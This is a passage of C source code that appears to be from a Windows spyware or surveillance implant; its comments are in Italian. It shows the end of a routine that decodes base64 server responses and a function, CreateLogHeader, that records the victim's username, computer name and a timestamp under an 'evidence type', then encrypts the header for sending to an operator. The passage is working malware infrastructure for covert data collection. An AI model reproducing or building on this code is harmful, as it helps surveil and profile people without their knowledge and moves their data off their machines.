    if (lpResponseBuffer)
    {
        lpDecodedMsg = DecodeMessage(lpResponseBuffer, dwResponseLen, bBase64, dwOut);
        zfree(lpResponseBuffer);

        return lpDecodedMsg;
    }
#ifdef _DEBUG
    else
    {
        OutputDebug(L"[!!] GetResponse cannot get response from server\n");
//        __asm int 3;
    }
#endif

    return lpDecodedMsg;
}

PBYTE CreateLogHeader(__in ULONG uEvidenceType, __in PBYTE pAdditionalData, __in ULONG uAdditionalDataLen, __out PULONG uOutLen)
{
    WCHAR wUserName[256];
    WCHAR wHostName[256];
    FILETIME uFileTime;
    LOG_HEADER pLogHeader;
    PLOG_HEADER pFinalLogHeader;

    if (uOutLen)
        *uOutLen = 0;

    memset(wUserName, 0x0, sizeof(wUserName));
    memset(wHostName, 0x0, sizeof(wHostName));
    wUserName[0]=L'-';
    wHostName[0]=L'-'; 
    GetEnvironmentVariable(L"USERNAME", (LPWSTR)wUserName, (sizeof(wUserName)/sizeof(WCHAR))-2);  //FIXME: array
    GetEnvironmentVariable(L"COMPUTERNAME", (LPWSTR)wHostName, (sizeof(wHostName)/sizeof(WCHAR))-2);  //FIXME: array
    GetSystemTimeAsFileTime(&uFileTime);

    pLogHeader.uDeviceIdLen = wcslen(wHostName) * sizeof(WCHAR);
    pLogHeader.uUserIdLen = wcslen(wUserName) * sizeof(WCHAR);
    pLogHeader.uSourceIdLen = 0;
    if (pAdditionalData)
        pLogHeader.uAdditionalData = uAdditionalDataLen;
    else
        pLogHeader.uAdditionalData = 0;
    pLogHeader.uVersion = LOG_VERSION;
    pLogHeader.uHTimestamp = uFileTime.dwHighDateTime;
    pLogHeader.uLTimestamp = uFileTime.dwLowDateTime;
    pLogHeader.uLogType = uEvidenceType;

    // calcola lunghezza paddata
    ULONG uHeaderLen = sizeof(LOG_HEADER) + pLogHeader.uDeviceIdLen + pLogHeader.uUserIdLen + pLogHeader.uSourceIdLen + pLogHeader.uAdditionalData;
    ULONG uPaddedHeaderLen = uHeaderLen;
    if (uPaddedHeaderLen % BLOCK_LEN)
        while(uPaddedHeaderLen % BLOCK_LEN)
            uPaddedHeaderLen++;

    pFinalLogHeader = (PLOG_HEADER) zalloc(uPaddedHeaderLen + sizeof(ULONG));
    PBYTE pTempPtr = (PBYTE)pFinalLogHeader;

    // log size
    *(PULONG)pTempPtr = uPaddedHeaderLen;
    pTempPtr += sizeof(ULONG);

    // header
    memcpy(pTempPtr, &pLogHeader, sizeof(LOG_HEADER));
    pTempPtr += sizeof(LOG_HEADER);

    // hostname
    memcpy(pTempPtr, wHostName, pLogHeader.uDeviceIdLen);
    pTempPtr += pLogHeader.uDeviceIdLen;

    // username
    memcpy(pTempPtr, wUserName, pLogHeader.uUserIdLen);
    pTempPtr += pLogHeader.uUserIdLen;

    // additional data
    if (pAdditionalData)
        memcpy(pTempPtr, pAdditionalData, uAdditionalDataLen);

    // cifra l'header a parte la prima dword che e' in chiaro
    pTempPtr = (PBYTE)pFinalLogHeader;
    pTempPtr += sizeof(ULONG);

    Encrypt(pTempPtr, uHeaderLen, pLogKey, PAD_NOPAD);

    if (uOutLen)
        *uOutLen = uPaddedHeaderLen + sizeof(ULONG);

    return (PBYTE)pFinalLogHeader;
}